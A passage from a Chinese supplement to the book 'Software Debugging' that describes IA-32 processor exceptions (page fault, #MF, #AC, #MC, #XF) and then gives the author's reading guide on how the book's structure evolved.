RSVD 位为 1 表示当 CR4 寄存器的 PSE 或 PAE 为 1 时,CPU 检测到页目录的 1 或多 个保留位中包含 1。如果 RSVD 位为 0,那么该异常不是由于设置保留位而导致的。 I/D 位表示该异产是否是由于取指操作导致的(1 是,0 否)。如果 CPU 不支持禁止执 行位或者没有启用禁止执行位,那么 I/D 位保留。 除了错误码,CPU 还提供了另一个信息供页错误异常处理例程分析异常原因。在产 生异常前,CPU 会把导致异常的 32 位线性地址加载到 CR2 寄存器中。异常处理例程可以 使用该地址来定位对应的页目录和页表表项。在执行页错误异常例程时还有可能再发生页 错误,而且每次发生页错误异常时,CPU 都会更新 CR2 寄存器,为了防止前一次异常的 线性地址被第二次异常的线性地址所覆盖,异常处理程序应该在发生第二次异常前将 CR2 寄存器的内容保存起来。 如果页错误异常是由于违反页面级保护规则8而导致的,那么当错误发生时,CPU 会 8 从内存管理角度来看,可以把保护机制分为段级(主要通过段描述符定义的)和页级(主要通过页面属 《软件调试》补编 - 125 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 设置页目录表项的访问标志。但是页表表项访问标志的规则是与处理器型号有关的。 保存的程序指针:通常栈中保存的 CS 和 EIP 值指向的是产生异常的那条指令。如果 实在任务切换过程中发生的页错误异常,那么 CS 和 EIP 值指向的可能是新任务的第一条 指令。 程序状态变化:通常不会导致程序状态变化因为导致错误的指令没有被执行。异常处 理例程可以纠正错误(比如将不在物理内存中的页面加载到内存中,这便是虚拟内存的基 本工作原理),然后恢复被中断的程序。 但是如果实在任务切换的过程中发生了页错误异常,那么程序状态可能变化。在切换 任务时,以下任何操作都可能导致页错误异常: 将原来任务的状态(寄存器等)写到该任务的 TSS(任务状态段)中。 从 GDT 表中读取信任务的 TSS 的段描述符。 读新任务的 TSS。 读新任务中的段选择子指向的段描述符。 读新任务的 LDT(局部描述符表)以验证保存在新任务的 TSS 中的段寄存器。 对于最后两种情况,异常会发生在新任务的上下文中,栈中保存的 CS 和 EIP 值指向 的是新任务的第一条指令,不是导致任务切换的那条指令。 如果页错误异常是在任务切换过程中发生的,那么它可能发生在把控制权移交给新任 务那一点之前,也可能发生在巴控制权移交给新任务之后。如果是发生在之前,那么程序 状态没有改变。如果是发生在之后,那么处理器会在产生异常前继续从新的 TSS 加载所 有状态信息(而且不再做边界、类型和存在性检查)。所以异常处理例程不能假定使用 CS、 SS、DS、ES、FS 和 GS 段寄存器中的段选择子不会再导致异常。异常处理例程应该认真 检查每个段寄存器后再恢复运行原来的程序,否则可能再次发生错误使问题更难定位和解 决。 C.16 x87 FPU 浮点错误异常(#MF) 向量号:16 异常类型:错误(Fault) 引入该异常的处理器:80286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异 常。 描述:该异常表示 x87 FPU(Floating-Point Unit)检测到当一个浮点错误。CR0 寄存 器的 NE 标志位为 1 时允许产生该异常(NE 标志为 0 的情况见下文)。 x87 FPU 可以检测并报告 6 种浮点错误情况: 无效运算(#I):又包括栈溢出和下溢(underflow)(#IS);以及无效的算术运算(#IA)。 除零(#Z)。 非规格化(denormalized)的操作数(#D)。 数值溢出(#O)。 数值下溢(#U)。 性定义的)保护。 《软件调试》补编 - 126 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 结果不精确(#P),P 代表精度(Precision)。 以上的每种错误情况对应于 x87 FPU 的一种异常类型。对每一种异常类型,x87 FPU 的状态寄存器和控制寄存器分别提供了一个标志和一个屏蔽位。如果 x87 FPU 检测到一个 浮点错误,而且控制寄存器中该异常类型的屏蔽位为 1,那么 x87 FPU 会自动处理该异常: 产生一个预先定义(缺省的)的回应然后继续执行。对于大多数浮点应用,缺省响应可以 提供合理的结果。 如果异常类型对应的屏蔽位为 0,而且 CR0 寄存器的 NE(Numeric Error)标志位为 1,那么 x87 FPU 会采取如下动作: 1. 在 FPU 状态寄存器中设置必要的标志。 2. 如果遇到等待型 x87 FPU 指令或 WAIT/FWAIT 指令,便在执行该指令前产生一个内部信号 使 CPU 产生一个浮点错误异常。这里要说明的是如果程序中一直没有这样的指令,那么该异常 便不会被报告。 CR0 的 NE 标志为 0 可以使 x87 FPU 使用 PC 兼容方式(PC-Style,又叫 MS-DOS 兼 容方式)来报告浮点错误:当 IGNNE#管脚的信号有效(asserted)时,忽略所有 x87 浮点 错误;当 IGNNE#管脚信号无效(deasserted)时,如果有未屏蔽的(unmasked)x87 FPU 错误发生,那么处理器会在遇到下一个等待浮点指令(WAIT 或 FWAIT)时置起(assert) FERR#管脚信号并进入冻结状态(停止指令执行)等待中断发生。在 PC 兼容系统中,FERR# 管脚信号会被送到级联的可编程中断控制器(PIC)芯片的 IRQ13 输入端。在 FERR#信号 的作用下,PIC 会产生中断使 CPU 进入处理浮点错误的中断处理例程。 在执行等待型 x87 FPU 指令或 WAIT/FWAIT 指令之前,x87 FPU 会检查是否有等待 报告(pending)的浮点错误异常(上面的第二步)。对于非等待型(non-waiting)x87 FPU 指令(包括 FNINIT、FNCLEX、FNSTSW、FNSTSW AX、FNSTCW、FNSTENV 和 FNSAVE), x87 FPU 不会检查是否有等待报告的异常。在执行浮点状态管理指令(FXSAVE 和 FXRSTOR)时,x87 FPU 也会忽略等待报告的异常。 错误代码:无,x87 FPU 的状态寄存器提供了错误信息 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是产生 x87 FPU 浮点错误异常时将 要执行的 WAIT/FWAIT 或浮点指令。不是 x87 FPU 检测到导致浮点错误的那条指令。导 致浮点错误的指令的地址被存储在 x87 FPU 的指令指针寄存器中。 程序状态变化:程序状态通常会变化,因为浮点错误异常发生后会被延迟到遇到下一 个等待型浮点指令或 WAIT/FWAIT 指令时汇报和处理。不过,因为 x87 FPU 保存了足够 多的信息,所以大多时候还是可以从错误中恢复,如果需要可以重新执行导致错误的指令。 如果程序中有非 x87 FPU 指令依赖 x87 FPU 指令的结果,那么可以在该指令前插入一 条 WAIT/FWAIT 指令以强迫检查是否有等待报告的浮点异常。 C.17 对齐检查异常(#AC) 向量号:17 异常类型:错误(Fault) 引入该异常的处理器:486 处理器最早引入该异常,其后所有 IA-32 处理器都实现了该 异常。 《软件调试》补编 - 127 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 描述:32 位处理器通常具有 32 根数据线(比如 386 和 486),因此一次可以传递 4 个 字节(32 位)。从奔腾处理器开始,IA-32 处理器的数据线从 32 根增加到 64 根,一次可 以传递 8 个字节(64 位)。为了提高访问效率和简化电路设计,32 位数据总线的 CPU 总 是从能够被 4 整除的地址访问内存(每次 4 个字节)。64 位数据总线的 CPU 总是从可以 被 8 整除的地址访问内存(每次 4 个字节)。也就是说 CPU 的地址线总是选通(呈现)是 4 或 8 整数倍的地址。例如,奔腾 4 CPU 的地址线是 A[35:3],共 33 根,代表高 33 位地 址(低 3 位省略),可以最多寻址 64G 物理内存。也就是说,这样的地址线已经不能表示 出不是 8 的整数倍的地址。当要访问非 8 整数倍的地址,那么就选通与其最接近的 8 整数 倍地址。举例来说,如果要读取地址 4 开始的 4 个字节,那么 CPU 便通过地址线输出地 址 0,并通过字节选中信号 BE#(Byte Enable)指定需要的是高 4 字节。如果要读取地址 7 开始的 4 个字节,那么就要向输出地址 0,取最高字节,然后再输出地址 8,取低 3 字 节,最后再通过移位操作将两次得到的数据合在一起。从这两个例子看到,同样是读取 4 个字节,前一种情况只要读取一次,后一种情况则要读取两次。分析原因,前一种情况要 读取的 4 字节数据的起始地址是可以被 4 整除的,这样的地址被称为是按 4 字节边界对齐 的。而后一种情况要读取的数据的起始地址是不可以被要读取的字节数整除,这样的地址 被称为是没有对齐的。 从上面的分析我们看到 CPU 访问满足内存对齐要求的数据可以大大提高性能。另外, 对于某些数据区,CPU 要求其起始地址一定要是内存对齐的。内存对齐异常正是为了强 制这些要求而设计的。下表列出了各种数据类型或数据的内存对齐要求。 表 C-4 内存对齐要求 数据/数据类型 地址必须可以被整除 Word(字) Doubleword(双字) 单精度浮点数(32 位) 双精度浮点数(64 位) 扩展双精度浮点数(double extended-precision floating-point)(80 位) Quadword(4 字) Double quadword 段选择子 32 位长指针 48 位长指针 32 位指针 GDTR、IDTR、LDTR 或任务寄存器(TR)的内容 FSTENV/FLDENV 保存区域 FSAVE/FRSTOR 保存区域 Bit String 2 4 4 8 8 8 16 2 2 4 4 4 4 或 2* 4 或 2* 4 或 2* *依赖于操作数长度(size)。 值得注意的是仅当满足以下条件时,CPU 才会启用内存对齐检查: CR0 寄存器的 AM(Alignment Mask)标志为 1。 EFLAGS 寄存器的 AC(Alignment Check)标志为 1。 CPU 处于保护模式或虚拟 8086 模式,并且 CPL(当前权限级别)为 3。 也就是说只有当 CPU 在用户模式下操作时才会进行内存对齐检查。缺省指向 0 特权 级的内存引用(比如加载段描述符)不会导致对齐检查,即使该操作是由于用户模式下的 内存引用所导致的。 《软件调试》补编 - 128 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 如果满足了内存对齐检查的条件,而且 CPU 检测到违反表 2-8 规定的情况,那么 CPU 便会产生内存对齐检查异常(#AC),但有一个例外,对于 128 位的数据类型没有按 16 字 节边界对齐的情况,CPU 会以一般性保护异常(#GP)的形式报告。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是产生异常的那条指令。 程序状态变化:程序状态并没有变化,CPU 报告异常前会恢复到导致异常的指令被执 行前的状态,所以当异常处理程序纠正了错误情况后可以安全的恢复执行原来的程序。 C.18 机器检查异常(#MC) 向量号:18 异常类型:中止(Abort) 引入该异常的处理器:奔腾处理器最早引入该异常,其后所有 IA-32 处理器都实现了 该异常。 描述:该异常表示 CPU 检测到一个内部错误或总线错误,或者系统的外部主体(agent, 比如内存控制器 MCH)检测到总线错误。外部主体检测到的错误是通过专门的 CPU 管脚 通知 CPU 的。奔腾 CPU 使用的是 BUSCHK#管脚,奔腾 4、至强、和 P6 系列处理器使用 的是 BINIT#和 MCERR#管脚。 机器检查异常的具体工作方式是与处理器型号有关的。尤其是奔腾处理器和其后的 P6 及奔腾 4 处理器在这方面有较大的差异,详见 2.9 节。 CR4 寄存器的 MCE 标志用来启用机器检查机制。 错误代码:无,但是专门为机器检查机制设计的 MSR 寄存器提供了错误信息。 保存的程序指针:对于奔腾 4 和至强处理器,扩展的机器检查状态寄存器中保存了当 CPU 检测到机器检查异常时的状态信息,包括通用寄存器、标志寄存器 EFLAGS、EIP 等, 而且这些信息是与发生的机器检查异常直接相关的。 对于 P6 系列处理器,如果 MCG_STATUS_MSR 寄存器的 EIPV 标志为 1,那么保存 的 CS 和 EIP 值是与导致机器检查异常的错误直接有关的,如果该标志为 0,那么保存的 指令指针可能与发生的错误不相关。 对于奔腾处理器,CS 和 EIP 寄存器的值可能与发生的错误相关,也可能不相关。 程序状态变化:对于奔腾 4、至强、P6 系列和奔腾处理器,机器检查异常总会伴有程 序状态变化,而且机器检查异常是以中止类异常报告的。当中止类异常发生后,异常处理 程序可以收集各种信息供调试使用,但是通常不能恢复程序继续运行。 如果没有启用机器检查机制,那么机器检查错误会导致 CPU 进入关机状态。 C.19 SIMD 浮点异常(#XF) 向量号:19 异常类型:错误(Fault) 引入该异常的处理器:奔腾 III 处理器最早引入该异常,其后所有 IA-32 处理器都实现 了该异常。 《软件调试》补编 - 129 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 描述:该异常表示 CPU 在执行 SSE/SSE2/SSE3 SIMD 运算时检测到错误。SIMD 是 Single Instruction Multiple Data,即单指令多数据的缩写,SIMD 是 MMX(MultiMedia Extensions,即多媒体扩展)技术的主要内容,其核心思想是使用 64 位的 MMX 寄存器, 一次对多个整数进行算术运算。SSE 是 Streaming SIMD Extension 的缩写,即 SIMD 流扩 展。SSE 将 SIMD 技术推广到可以对单精度浮点数进行单指令多数据计算。 与 x87 FPU 浮点异常很类似,SIMD 浮点异常也被划分成 6 个子类: 无效运算(#I)。 除零(#Z)。 非规格化(denormal)的操作数(#D)。 数值溢出(#O)。 数值下溢(#U)。 结果不精确(#P),P 代表精度(Precision)。 在以上六类异常情况中,无效操作、除零和非规格化的操作数属于计算前异常,也就 是算当 CPU 检测到错误情况使还没有进行任何算术计算。数值溢出、数值下溢和结果不 精确属于计算后异常。 对于以上六类情况的每一种,MXCSR 寄存器配备了一个屏蔽位和一个标志位分别用 于屏蔽该类异常和报告该类异常发生。 图 C-2 MXCSR 控制和状态寄存器 当 CPU 检测到以上异常情况时,如果该类异常被屏蔽(MXCSR 寄存器的对应屏蔽 位为 1),那么 CPU 便会自动处理该异常,产生一个合理的结果,然后让程序继续运行。 如果该类异常没有被屏蔽(MXCSR 寄存器的对应屏蔽位为 0),那么 CPU 会通过检查 CR4 寄存器的 OSXMMEXCPT 标志来判断操作系统是否支持 SIMD 浮点异常,如果 OSXMMEXCPT 标志为 1(表示操作系统支持 SIMD 异常),那么 CPU 便会产生一个 SIMD 浮点异常,然后执行该异常对应的异常处理例程。如果 OSXMMEXCPT 标志为 0(表示 操作系统不支持 SIMD 异常),那么 CPU 会产生一个无效操作码(#UD)异常。 值得注意的是,与 x87 FPU 浮点异常的延迟处理策略不同,SIMD 浮点异常是被立即汇 报的。因此 WAIT/FWAIT 或其它 SSE/SSE2/SSE3 指令遇到等待报告的 SIMD 浮点异常的情 况是不会发生的。另一种情况是,当一个 SIMD 浮点异常发生时该类异常是被屏蔽的,这 时 CPU 会设置 MXCSR 寄存器中对应的标志位,但不会报告该异常,而后如果取消屏蔽该 《软件调试》补编 - 130 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 类异常,那么取消屏蔽时并不会导致 CPU 汇报这个前面发生的异常。 当 SSE/SSE2/SSE3 SIMD 浮点指令对一组操作数(包含 2 或 4 个子操作数)进行计算 时,CPU 可能检测到多个 SIMD 浮点异常的情况。如果一个子操作数的异常情况不超过 一个,那么 CPU 会为设置所有异常情况所对应的标志位。例如,为一个子操作数的无效 异常设置异常标志位不会妨碍为另一个子操作数的除零异常设置对应的标志位。但是如果 一个子操作数被检测到几个异常情况,那么 CPU 会根据表 C-5 所示的先后顺序只报告一 种情况。表 C-5 所定义的顺序会使 CPU 汇报高优先级的错误情况,忽略低优先级的情况。 表 C-5 SIMD 浮点异常优先级 优先级 描述 1(最高) 因为 SNaN 操作数导致的无效运算异常,或者对任何 NaN 操作数进行最 大值、最小值、或某些比较和转化运算 2 QNaN(并非异常,但是处理 QNaN 操作数比低优先级的异常更优先,比 如 QNaN 除零会导致 QNaN,而不是除零异常) 3 任何上面没有提到的无效运算异常和除零异常* 4 非规格化操作数异常* 5 数值溢出或下溢异常,可能与结果不精确异常同时发生* 6(最低) 结果不精确异常 * 如果被屏蔽,那么指令会继续执行,可能会有第优先级的异常发生。 错误代码:无,可以通过 MXCSR 寄存器判断异常的进一步信息。 保存的程序指针:保存的 CS 和 EIP 值指向的是导致 SIMD 浮点异常的那条 SSE/SSE2/SSE3 指令。也就是从中检测到错误情况的那条指令。 程序状态变化:不会导致程序状态变化,因为处理器检测到错误情况后会立即报告异 常(除非被屏蔽)。异常处理程序可以通过检查 MXCSR 寄存器和其它信息判断并纠正错 误情况,然后恢复程序继续运行。 《软件调试》补编 - 131 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 10 《 《 《 《软件调试 软件调试 软件调试 软件调试》 》 》 》导读 导读 导读 导读 补编说明: 《软件调试》出版后,不少反馈是嫌这本书太厚了,不好读。当然不好读的 原因也有书中的内容比较难懂。 其实作者写作这本书时,是很有一个让“略懂计算机的人就能读懂”的远大 理想的。 为了鼓励一下大家的阅读兴趣,我在高端调试网站(http://advdbg.org)上 写了一系列导读性的文章,至今已经完成下面四篇: 《软件调试》导读之提纲挈领 《软件调试》导读之绪论篇 《软件调试》导读之 CPU 篇 《软件调试》导读之操作系统篇 也把这个内容放入这个补编中吧,希望能有人觉得有点帮助。 《软件调试》补编 - 132 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》导读之提纲挈领 拙作《软件调试》出版两个月了,有热心读者建议我讲些阅读这本书的方法。有读者 愿意读自己的书,当然是好事,再说读者是客户,他们的意见就是命令,不能怠慢。粗略 思考一番,计划先为《软件调试》的每一篇写一个导读短文。总为开篇,今日先谈谈《软 件调试》这本书的篇章结构,用软件的术语就是架构,用写作的术语也就是提纲。 从最初的书名说起 早在 2003 年,我就萌生了写一本关于软件调试的书的念头。但是软件调试是个大话 题,有很多东西可以写,必须选择好一个角度才能写出一本好书来。于是我开始搜索当时 已经有的书,无论是美国出的,还是英国出的,一共找到了十来本。而后,逐一了解了已 有的这些书,归纳了它们的主要内容和特色。 2004 年下半年,第一个版本的规划初步成型了,书名叫 Advanced System Debugging (《高级系统调试》)(简称 ASD)。针对的目标问题是系统级的调试任务,简单理解, 就是在系统范围找 BUG,是与模块范围内的常规调试相对而言的。在当时的规划书中, 我特意从以下四个方面比较了系统调试和常规调试的不同: Ÿ Scope Ø System wide vs. Module/Product wide Ÿ Addressed Issues Ø Application or OS Hang/Crash vs. Feature Failure Ÿ Source Code Ø Not depends on source code vs. Based on source code Ÿ Time Frame Ø System Debugging is more relevant with issues near or after product deployment 并强调系统调试需要不同的工具,并且更具挑战性: Ÿ Addressed issues are more serious Ø Hang, Crash, Halt, auto Restart, etc. Ÿ Locate Issues in system wide Ø Any component, including hardware, maybe the root cause Ÿ Without source code and complete document Ÿ Very broad knowledge is needed Ø OS, Hardware, Firmware, etc. 当时确定的主要内容有以下几个部分: 《软件调试》补编 - 133 – Copyright © 2009 ADVDBG.ORG All Rights Reserved (一)调试基础 Ÿ How debugger works? Ø Break, stack trace, memory view, and variable watch Ÿ CPU & OS support to Debugging Ø Post Mortem (JIT) debug, Attach Debugger Ÿ General debug mechanism Ø Dump, asserts, event log, and debug outputs Ÿ Debugging in software engineering (二)异常 Ÿ Understand software and hardware exceptions; Ÿ Exception handling mechanism; Ÿ What if exceptions uncaught in user mode and kernel mode; Ÿ Frequent exceptions. (三)方法学和工具 Ÿ Advanced Inspecting Ø View system components inside; Ø Examine binary (program) files and process; Ÿ Advanced Monitoring/Spying Ø Monitor system activities and kernel objects; Ø Exploring OS boot process; Ÿ Advanced Tracing Ø Interrupt an application, driver, and OS; Ø Skills for WinDbg (四)蓝屏(BSOD) Ÿ Why BSOD? Ÿ Interpret BSOD Ø Illustrate Stop Code one by one Ÿ Enable and analyze memory dump Ÿ Trace BSOD by WinDbg Ø Kernel debugging Ÿ Advanced topics about BSOD Ø Crash handler Ø More serious issues than BSOD (五)调试实践 Ÿ User mode debugging practice 《软件调试》补编 - 134 – Copyright © 2009 ADVDBG.ORG All Rights Reserved Ø Dr. Watson, MiniDump Ÿ Kernel mode debugging practice Ø Kernel debug using COM, 1394 and Virtual PC Ø Debug driver issues Ÿ Debug ACPI issues Ø Resolve tough S3/S1 issues by actual sample 现在回过头来看第一版计划,可以看到,其中包含了大多数后来要写的内容。而且这 种从整个计算机系统的角度来着眼的思想一直保持到最后。 2005 年时的选题列选单 2005 年年初,开始和电子出版社协商出版计划。我开始进一步细化写作内容和篇章 结构。于是第一个版本的章节计划产生了,下面是从当时的选题列选单中摘录下来的: 软件调试是软件开发及维护中最重要且最富有挑战性的工作之一,大多数软件工程师 都认为他们 50%以上的工作时间是用在软件调试上的。但是软件调试无论是在软件工程实 践中还是在学术界至今都还没有得到应有的重视,少数效率低下的调试方法仍在普遍使 用,如何提高软件调试的效率和增强软件的可调试性还很少得到关注。特别是,纵观浩如 烟海的计算机图书世界,目前还找不到一本系统全面阐述软件调试理论和实践的作品。本 书正是出于这种考虑,力争填补软件领域和国内外出版界的一大空白。本书本着深入全面 和理论与实践并重的原则,多方位的向读者展现软件调试的原理、方法和技巧。全书分为 4 篇,18 章。基础篇(1~4 章)除了介绍基本的概念和术语(第 1 章)外,系统的阐述 了 CPU(第 2 章)、操作系统(第 3 章)和编译器(第 4 章)是如何支持软件调试的。 开发篇(5~7 章)开创性的提出如何在软件工程的各个环节中,尤其是设计阶段,融入软 件调试策略,提高软件的可调试性,以从根本上降低软件调试的复杂度,提高调试效率(第 5 章)。该篇不仅全面归纳比较了常用的提高软件可调试性的方法(第 6 章),还提出 了一些新的模型和实现,有很强的实践参考价值(第 7 章)。工具篇(8~12 章)在对各 类调试工具进行概括性介绍(第 8 章)后,深入的解析了三类常用调试工具的原理和用 法以及一批经典工具。第 9 章在介绍微软的著名内核调试器 WinDbg 的同时,深入地揭 示了内核调试的原理(目前还没有一本书包含此内容)。第 10 章通过深入解析微软.Net 调 试器的源代码,介绍了目前流行的中间/脚本语言(比如.Net 和 Java)调试的原理。第 11 章以介绍 JTAG 原理为线索,探索了极富挑战性的嵌入式调试领域,介绍了如何调试常见 的嵌入式系统(xScale 系统, ARM 系统等)。第 12 章把近百个经典、小巧、免费的调试 工具归纳为几类,对它们做了个大检阅(这些工具是附带光盘工具箱的一部分)。实践篇 (13~18 章)首先归纳了被国内外专家普遍认可的一些调试规则和方法(第 13 章),然 后结合真实的案例,介绍了解决几类难度较大的调试问题的方法和技巧。第 14 章介绍了 远程调试、RPC 调试等用户态调试任务。第 15 章在介绍非常热门的 Windows 内核/驱 动程序调试的同时,还向读者揭示了如何探索 Windows 内核的一些技巧。第 16 章全面 的探讨了著名的蓝屏崩溃问题。第 17 章介绍了如何在没有源代码和文档的情况下定位系 统故障。第 18 章以最富挑战性的 ACPI 问题为例,探讨了如何利用前面介绍的方法和工 具解决软件、硬件、固件相结合的棘手问题,并总结全书。 归纳一下,首先当时把要写的内容分为如下四篇:基础篇、开发篇、工具篇和实践篇。 另外,将书名从 ASD 改为《软件调试》。现在看来,这一版本的架构与 AWD(Advanced 《软件调试》补编 - 135 – Copyright © 2009 ADVDBG.ORG All Rights Reserved Windows Debugging)颇有相通之处,特别是基础篇和实践篇与 AWD 的第一篇和第二篇 是一个思路。 软件调试的最初 300 页就是按照以上架构来写作的,写的是上面规划中的第 2 章和第 3 章。 重构 动笔后,更深的感觉到写书难。本来计划两个月完成的第 2 章,写到 2005 年年底也 没完成。又因为春节的大块时间用来探索 Windows 调试子系统,所以 2006 年 3 月才完成 第 2 章的第一稿。2006 年 8 月完成了第 3 章的初稿。这两章完成后,一个明显的问题是 这两章的篇幅都很长,第 2 章有 100 页,第 3 章有 210 多页。这两章的长度让我觉得很不 称心,我觉得一章太长,不易于阅读,也不方便编辑和排版。记得当时我还特意找了几本 书,在 Windows Internals 中,有接近和超过 100 页的两章,第 3 章系统机制(98 页), 和第 7 章内存管理(110 页)。 一边写作,一边思考了几周后,我终于下定决心重新组织结构。重构的一个指导思想 是更侧重调试原理,将工程实践所需的基础知识和技能融入到原理中去,不再面向问题组 织篇章和“就事论事”。 根据这一思想,做了如下几个大的改动: 将原来的 2,3,4 章升级为篇,以便更好的组织这些原理性和基础性的内容。 砍去实践篇,以便使这本书具有更好的通用性。因为实践篇中本来的内容还是面向问 题的,深入讨论其中的每个问题域都可以单独写一本书,如果把这些内容放在同一本 书中写,那么很难深入,喜欢一个问题域的读者通常也不需要深入了解另外的问题域。 在工具篇中,只集中讨论调试器,去掉本来安排的 10~12 章。 根据以上策略调整后,新的架构便是今天的样子,全书分为 6 篇,30 章。 目前的架构 下图中画出了 2006 年重构后的篇章结构,也就是目前使用的架构。 在新的架构中,2、3、4 篇是全书的核心,它们所描述的对象也恰好是计算机系统中 的三个核心:即硬件核心 CPU,软件核心操作系统和生产软件的核心工具编译器。从调 试的角度来看,这三个核心所提供的调试支持是支撑软件调试大厦的三块基石。或者说, 上层的很多调试技术都是这三个核心所提供支持的应用。因此,了解这些调试支持是了解 《软件调试》补编 - 136 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 调试技术的关键。 另外,从从事计算机相关工作的技术人员(本书读者)的角度来看,了解这三个核心 也是至关重要的,对于提高软件开发能力、调试能力和对计算机系统的认知力都非常有益。 从这个因素出发,第 2、3、4 篇的开头一章,即第 2 章,第 8 章和第 20 章,都是介绍这 篇所描述核心的基础知识。 2~4 篇的总页数为 755 页,占全书篇幅的 70%。因此阅读和消化这三篇的内容是读 懂这本书的主要任务。把这三篇内容搞懂了,就掌握了软件调试技术的基础和核心,同时 也可以把对 CPU、操作系统、编译器这三大核心的理解提高到一个新的水准。以后,我 会分别介绍每一篇的构思,给出一些阅读建议。但读到这里,读者应该清楚,全书的重心 在 2-4 篇。在重心之下,是第 1 篇,即绪论,这是其它 5 篇完成后,最后写的一篇,目的 是把读者带进门。 第 5 篇可调试性,尽管很短,只有短短的两章,总共 52 页,但是它的“思想地位”非 常高。高效调试是学习和研究软件调试技术的初衷。如何实现高效调试呢?答案是调试过 程中涉及的每一个部件都要大力支援、积极配合,至少不要抵触和反抗。2-4 篇介绍了计 算机系统中的三大核心的调试支持,但如果被调试程序不配合,那么调试效率也会大打折 扣。因此第 5 篇的第一个目的是探讨被调试软件的可调试性,介绍在软件设计和开发过程 中就要考虑可调试性,未雨绸缪。第 5 篇的另一个目的是彰显可调试性这一主题,任何精 心设计的系统都应该考虑可调试性,对于 CPU、操作系统、编译器这样的基础设施,不 仅要考虑自身的可调试性,还要考虑如何支持应用软件的可调试性。 如果说,第 1 篇是全书内容的第一轮循环,2-5 篇是第二轮循环,那么第 6 篇便是第 3 轮循环,它以调试器为视角,在介绍调试器的实现方法和使用方法的同时,将前面 5 篇 的内容“复习”了一遍。 调试器是软件调试的最核心工具,是每个软件高手必备的武器,深谙调试器兵法是《软 件调试》这本书的核心目标,有人可能想,为什么不直接按照调试器来组织内容呢?我的 确考虑过在第 1 篇就详细介绍调试器。但是后来没有这么做,原因有二。第一,对于今天 的大多数调试器来说,它是与系统密切耦合的,夸张一点说,它只不过是底层调试功能的 一个用户接口。因此即使把一个调试器的所有代码都分析一遍,那么还有很多东西搞不清 楚。以 Windows 系统的用户态调试为例,调试器是建立在调试 API 之上的(《软件调试》 第 18 章),很多调试功能不过是一个 API 调用就进入到系统代码了。以内核调试为例, WinDBG 不过是内核调试引擎(KD)的一个客户端(《软件调试》第 18 章)。第二,调 试器有很多种,如果正面围绕调试展开,那么选择哪种调试器呢?如果选 WinDBG,那么 整本书就变为《WinDBG 调试器 XXX》,这是我不希望的,不符合写作这本书的一般性 原则。 在现在的架构中,调试器被安排在最后一篇,并不是降低它的地位,而是让其坐享前 面的基础。对于读者,有了前面的基础再理解调试器会觉得很自然,有水到渠成之感。对 于作者,写作这一篇时,也非常轻松,不时感觉到前面发散的内容在这里收敛了。另外, 把调试器安排在其它 5 篇的上面也与它的“接口”身份更吻合。 归纳一下,《软件调试》的架构经历了三个版本。第一个版本侧重系统调试,书名为 ASD。第二个版本将写作范围扩大,书名推而广之为《软件调试》,内容划分为基础、开 发、工具四篇。第三个版本提高第二版本中基础篇的位置,将重心明确在一般原理和具有 共性的知识技巧上,缩减开发篇、工具和实践篇的内容。纵观这三个版本,版本 1 到版本 《软件调试》补编 - 137 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 2 是扩张,版本 2 到版本 3 是精选和淘汰,前两个版本中的核心内容被细化,非原理性和 适用面狭窄的内容被去掉了。特别是实践篇被去除了,其中的有些内容被融入到其它篇中, 比如蓝屏崩溃被放入到第 3 篇,纳入到错误提示机制中讨论;栈溢出和内存泄漏被放入到 第 4 篇,与编译器的有关支持一起讨论。而目标读者较窄的 RPC 调试和 ACPI 调试只好放 弃了。放弃这些内容的一个长远规划是,在完成《软件调试》后,分专题写一系列实战性 的短篇,自称为调试战役系列。概而言之,《软件调试》的着眼点是软件调试的一般原理, 其目标是为所有喜欢调试技术的读者打下一个宽广而且坚实的基础,这个基础对于做调试 是有用的,对于做开发也是有用的,对于解决迫在眉睫的问题有用,对于长远的职业发展 也有用。为了实现通用性,那么只能多写具有共性的基础内容,舍弃细枝末节和具体问题, 让读者掌握这些基础后,自己来举一反三,也就是常说的“授之以渔”。希望读者阅读《软 件调试》时,能想起作者的这一良苦用心,这将有助于您理解书中的内容。 《软件调试》补编 - 138 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》导读之绪论篇 《软件调试》的第 1 篇名为“绪论”,只包含一章,共 26 页,是全书最短的一篇。 第一篇要实现的几个目标是: 1)介绍基本概念和术语,为后面各篇打基础和做铺垫。比如,1.1.1 节给出了 Bug 和 Debug 的定义,1.6 节详细的讨论了 BUG,1.4 节介绍了常见的软件调试型态。 2)浏览本书要介绍的主要调试技术,比如,1.5 节分 10 个专题(三级小节)浏览了 本后后面要深入讨论重要调试技术。 3)突显软件调试技术的关键特征和重要性,1.2 节(基本特征)和 1.7 节(与软件工 程的关系)都是服务于这个目的的。 读者在阅读第 1 篇时,建议认真阅读以下几个内容: 1.1.2 节(P5)中的软件调试基本过程。这一内容虽然很基本,但是很重要。熟悉和 遵循这个基本过程是对调试高手的最起码要求。如果不遵循这个基本过程,有时候就会白 白浪费很多时间。比如,有些人没有在自己的调试环境下重现问题就开始跟踪代码,跟踪 了几个小时后才发现原来问题根本不会在这个系统中发生,或者跟踪的版本就不对。 1.2 节中的软件调试基本特征。在写作这一内容时,我列出了很多个特征,然后进行 筛选和提炼,最终归纳为三大特征:难度大、难以估计完成时间和广泛的关联性。理解软 件调试的这三个特征对于学习软件调试和在实践中解决软件问题都很重要。因为软件调试 技术与其它技术有着广泛的关联性,所以学习软件调试时必须本着海纳百川的心态去博 学,而不能期望要用什么就学什么。因为“难以估计完成时间”,所以大家在工程实践中, 面对一个软件调试问题时,不能轻易“拍胸脯”,不到有十足把握时,不能下断言。 1.3 节中的软件调试简要历史。两年前,某本杂志在做软件调试专题时,想找人写篇 文章介绍软件调试的历史,找到我,我说深知这个内容不好写,而且当时没有时间,便推 迟了,编辑很有信心的去找别人,但是始终没有找到。的确,还没有人仔细为软件调试编 写历史,很多调试技术是何时出现的还没有定论。考虑到了解历史的重要性,《软件调试》 有意做了很多努力,1.2 